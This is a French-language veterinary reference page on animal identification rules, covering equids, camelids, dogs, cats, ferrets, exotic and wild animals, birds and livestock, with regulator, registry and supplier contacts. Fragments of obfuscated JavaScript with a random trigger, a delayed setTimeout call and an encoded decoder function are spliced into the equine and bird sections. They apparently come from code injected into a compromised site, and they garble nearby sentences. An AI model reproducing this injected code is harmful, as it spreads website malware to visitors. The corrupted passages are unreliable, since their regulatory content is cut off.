Identification

Réglementation pour la traçabilité des animaux de rente et des carnivores domestiques.

Carnet d'adresses

Bureau de l’identification et du contrôle des mouvements des animaux - DG AL Direction Générale de l’Alimentation

251 rue de Vaugirard - 75732 PARIS cedex15

01 49 55 84 59

Responsable : M. PRIMOT Pierre

pierre.primot@agriculture.gouv.fr

Suivi de l’application et de la réglementation pour la traçabilité des animaux de rente et des carnivores domestiques.

CNOPSAV Conseil National d’Orientation de la Politique Sanitaire Animale et Végétale

Organisation placée auprès du ministère de l’agriculture. Le CNOPSAV est consulté sur les orientations de la politique sanitaire animale et végétale, sur les projets de mesure réglementaire ou toute autre question relative à la santé et à la protection des animaux et des végétaux.

Cheval - Ane

Identification des équidés

Décret du 7 septembre 2017 JO du 9 septembre 2017

Mise en conformité du Code rural et de la pêche maritime avec le règlement européen 2015/262.

https://www.legifrance.gouv.fr/jo_pdf.do?id=JORFTEXT000035531727

__________

Le réglement européen impose que tous les équidés soient identifiés dans les 12 mois suivant leur naissance.

L’identification au moyen d'un transpondeur électronique comprend l’obtention d’un document d’identification et l’enregistrement dans la base de données SIRE.

Suppression de l’habilitation

Tout vétérinaire souhaitant être identificateur peut se déclarer auprès de l’IFCE (Institut Français du Cheval et de l’Equitation). Les agents de l’IFCE ayant un certificat d’aptitude à l’identification peuvent aussi prétendre au rôle d’identificateur.

Le délai de mise à jour des informations au fichier central passe de 2 mois à 30 jours (enregistrement, changements de propriété ou mort du cheval).

Obligation des vétérinaires de notifier l’exclusion de la consommation humaine d’un équidé.

Le vétérinaire qui exclue un équidé sur le document d’identification doit le notifier à l’IFCE dans un délai de 14 jours.

www.ifce.fr

Système d’Identification Répertoriant les Equidés SIRE

Route de Troche BP 3 - 19231 ARNAC-POMPADOUR

0811 902 131

info@.ifce.fr

www.haras-nationaux.fr

www.ifce.fr

__________

Vétérinaires identificateurs

0892 70 79 60

sire_veto_identif@ifce.fr

Lundi au vendredi 9-12h, 14-16h

GREV Le Groupement pour la Recherche des Equidés Volés

Le Lieu Mignot - 14140 CHEFFREVILLE-TONNENCOURT

02 31 31 54 22

www.hippoplus.com/grev

Fichier de chevaux disparus visualisables sur internet.

Edite le magazine “GREV”.

Obligation de déclaration des lieux de détention d’équidés

Tout détenteur d'équidé(s)doit se déclarer auprès de l'IFCE via le SIRE, en précisant le lieu de stationnement de l’animal (décret 2010-865 du 23/07/2010) pour renforcer la veille sanitaire.

Equidés importés

Tout équidé importé doit être enregistré, ainsi que son propriétaire, dans la base SIRE dans le mois qui suit son importation. Dispense si le séjour est inférieur à 2 mois. Document sanitaire d’introduction exigé.

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Qudom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and identifier ?

Dans les 8 mois suivant la naissance et avant le 31 décembre de l’année de naissance.

Signalement graphique

depuis 2016, le signalement graphique est obligatoire, quel que soit le type d’équidé, dès la première identification il est imprimé dans le document d’identification (chevaux de sang, de trait, âne ou ONC).

Numérotation des puces destinées aux équins : 250 25

Certification en ligne sur :

www.ifce.fr

Camélidés

Les règles d’identification des équidés sont étendues aux camélidés. Décret du 5/2/2016

NB : La mise en oeuvre des contrôles d’identification des camélidés est remise au 1/7/2018.

Guide identificateur 2017

Gérez vos démarches SIRE, téléchargeable sur :

www.ifce.fr

Chiens chats furets

Réglementation

L’identification des chiens et des chats est obligatoire préalablement à leur cession, à titre gratuit ou onéreux. L’identification est à la charge du cédant.

Il en est de même, en dehors de toute cession, pour les chiens nés après le 6 janvier 1999 âgés de plus de quatre mois et pour les chats de plus de sept mois nés après le 1er janvier 2012.

Le propriétaire ou détenteur d’un animal enregistré au fichier national d’identification est tenu de déclarer auprès du gestionnaire, ICAD Sas, le décès de l’animal et les changements d’adresse ou de propriétaire.

Pour pouvoir voyager dans l'UE, le chien ou le chat (ou le furet) doit être identifié par puce électronique (transpondeur) ou par tatouage apposé avant le 3 juillet 2011,être vacciné contre la rage, posséder un passeport européen pour animal de compagnie délivré par un vétérinaire titulaire d'un mandat sanitaire.

Tatouage à la pince interdit sur les chiens de plus de 4 mois Journal Officiel du 17/12/2014.

I-CAD

Identification des Carnivores Domestiques I-CAD

La Société Centrale Canine et le Syndicat National des Vétérinaires d’Exercice Libéral ont uni leurs compétences au sein d’une seule structure dénommée I-CAD.

I-CAD assure pendant dix ans la délégation de service public de gestion de la base unifiée de données des carnivores domestiques : chiens, chats et furets.

112 avenue Gabriel Péri - 94240 L’HAY-LES-ROSES

0810 778 778

contact@i-cad.fr

www.i-cad.fr

__________

Filalapat

Le service des animaux perdus et trouvés du fichier national d’identification des carnivores domestiques est accessible en application smartphone.

https://filalapat.fr/

Identification génétique

Labogena analyses génétiques pour les espèces animales

01 39 67 58 60

www.labogena.fr

Analyses génétiques toutes espèces.

Localisation

Surveiller votre animal à distance

www.petcube.com

lui parler, l’entendre, jouer avec lui par l’intermédiaire d’un pointeur laser.

Caméra embarquée

4 rue Béranger- 75003 PARIS

01 42 74 78 66

www.eyenimal.com

Collier mesurant l‘activité

fréquences cardiaques, respiratoires, durées, intensité exercices.

www.whistle.com

Médaille identifiée par QR

www.vethica.fr

NAC Faune sauvage et domestique

Vetonac

Le Fichier VETONAC centralise l’ensemble des données NAC et faune sauvage.

www.vetonac.fr

__________

Informations SAPV Société d’Actions et de Promotions Vétérinaires

112-114 avenue Gabriel Péri - 94245 L’HAY-LES-ROSES

01 55 01 08 32

vetonac@sapv.fr

www.sapv.fr

Déterminer le type de faune

sauvage ou domestique consulter la liste du Ministère sur :

www.vetonac.fr

Toute espèce non inscrite est de faune sauvage.

Faune sauvage

Certificat d’identification et copie de déclaration de marquage d’un animal d’une espèce non domestique (Cerfa 12.446*01).

Un exemplaire pour le détenteur, un à remettre par le détenteur à la DD(CS)PP, le dernier est conservé par le vétérinaire.

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Faune domestique

Certificat d’identification NAC signé remis au client.

Rappel furets

Seul le furet, carnivore domestique, est identifié avec une puce 25026.

Tous les autres mustélidés sont à identifier avec une puce 25022 et inscrits dans le fichier Vétonac.

Enregistrement

En ligne ou par courrier.

Fichier National de l’Identification de la faune sauvage captive

(décret du 25/02/2017)

Ce décret précise les conditions de création d’un fichier national ainsi que ses modalités de fonctionnement.

«...l’identification obligatoire des animaux d’espèces non domestiques (...) comporte, d’une part, le marquage de l’animal, d’autre part, l’inscription sur le fichier national (...) des indications permettant d’identifier l’animal, notamment le nom et l’adresse de son propriétaire, ainsi que l’établissement d’une carte d’identification ».

Le décret fixe les dates auxquelles les détenteurs d'animaux visés à l'article L.413-6 doivent satisfaire :

- 30 juin 2018 pour les animaux identifiés avant la date d'entrée en vigueur du décret ;

- 30 juin 2019 pour les animaux détenus avant les dates d'entrée en vigueur des différents textes qui en prescrive l'obligation d'identification en raison de la non rétroactivité des lois et règlements.

Le marquage sera effectué sous la responsabilité du propriétaire dans le mois suivant la naissance de l’animal.

Oiseaux

Fédération Colombophile Française FCF

54 boulevard Carnot - 59000 LILLE

03 20 06 82 87

fcf@nordnet.fr

www.colombophiliefr.com

Pigeons voyageurs.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.l">

Centre de Recherche pour le Baguage des Populations d’Oiseaux CRBP0

55 rue Buffon - 75005 PARIS

crbpo@mnhn.fr

http://crbpomnhn.fr

Oiseaux migrateurs.

Passeport

Le 1er janvier 2015 un passeport conforme au modèle du règlement (UE) n°576/2013 a été mis en place.

Le propriétaire doit signer le passeport.

La rubrique identification est sécurisée par l'application d'un film autocollant transparent couvrant intégralement la page.

Les vignettes autocollantes doivent être non détachables.

Trois dates concernant la vaccination rage :

- réalisation de la vaccination,

- date de la validité (qui correspond a la durée de la mise en place de l’immunité + 21 jours),

- date de fin de validité et périodicité des rappels.

Cachet et signature du praticien.

Fournisseurs agréés

Berger-Levrault

892 rue Yves Kermen - 92100 BOULOGNE-BILLANCOURT

0820 35 35 35

www.berger-levrault.fr

____________________

Imprimerie Genèse

BP 303 - 50700 Valognes

02 33 21 64 10

www.genese.fr

_____________________

SAPV Société d’Actions et de Promotions Vétérinaires

112-114 avenue Gabriel Péri - 94240 L’HAY-LES-ROSES

01 55 01 08 16

www.sapv.fr

____________________

Point Vétérinaire

0800 949 889

www.pointveterinaire.fr

Puces - Injecteurs

SAPV Société d’Actions et de Promotions Vétérinaires

112-114 avenue Gabriel Péri - 94245 L’HAY-LES-ROSES

01 55 01 08 16

informations@sapv.fr

www.sapv.fr

Allflex Europe

35 rue des Eaux - 35500 VITRE

02 99 75 77 00

http://allflex-europe.com

Biolog Id

BP 30303 - 27303 BERNAY cedex

02 32 47 83 40

www.biolog-id.com

Société Boehringer Ingelheim (ex Merial)

29 avenue Tony Garnier - 69007 LYON

04 72 72 30 30

www.merial.com

Planet-ID

11 rue Auguste Perret - 94042 CRETEIL cedex

01 41 94 11 32

www.planet-id.com

Vethica

Route de Seurre - 21200 BEAUNE

03 80 24 22 93

www.vethica.com

Virbac

BP 447 - 06515 CARROS cedex

Virbac Assistance

0811 904 606

__________

Service client

0811 706 706

www.virbac.fr

Code du transpondeur

Numéro unique de 15 chiffres :

- Les 3 premiers correspondent au pays (F = 250)

- Les 2 suivants au code espèce (26 = chiens, chats, furets, 25 = équidés, NAC=22 )

- Les 2 autres au code fabricant

- Les 8 derniers au code propre de l’animal.

Rente Animaux

Bureau de l’identification et du contrôle des mouvements des animaux - DG AL Direction Générale de l’Alimentation

251 rue de Vaugirard - 75732 PARIS cedex15

01 49 55 84 59

Responsable : M. PRIMOT Pierre

pierre.primot@agriculture.gouv.fr

Suivi de l’application et de la réglementation pour la traçabilité des animaux de rente et des carnivores domestiques.

L’identification des animaux de rente est gérée par les Etablissements Départementaux de l’Elevage (EDE).

Références réglementaires

BOVINS

- Le 22 août 2013, le Ministère de l’Agriculture a publié au Journal Officiel un nouvel arrêté sur l’identification des bovins.

www.idele.fr

rubrique «Identification, filière traçabilité»

2018 - Pour les veaux nés à compter du 1er janvier 2018 : l’éléveur pourra choisir les boucles électroniques, afin d’écouler ses stocks restants éventuels, sans toutefois dépasser le 31 décembre 2018.

__________

PORCINS

- L’arrêté du 24 novembre 2005 relatif à l’identification du cheptel porcin é été modifié par l’arrêté du 14 nov. 2012.

http://agriculture.gouv.fr/IMG/ pdf/DGAL_IDENT_PORCIN_cle0c 24aa.pdf

__________

OVINS - CAPRINS

- Les ovins nés à compter du 1er janvier 2012 doivent être identifiés dans les 7 jours, 6 mois pour les caprins. Dérogation de 6 mois pour transhumance, ou de certaines races à particularités anatomiques.

- Depuis le 1er janvier 2015, les ovins et caprins nés depuis le 9 juillet 2005 doivent être identifiés électrniquement avant de quitter l’élevage.

www.idele.fr

rubrique «Ovins, caprins»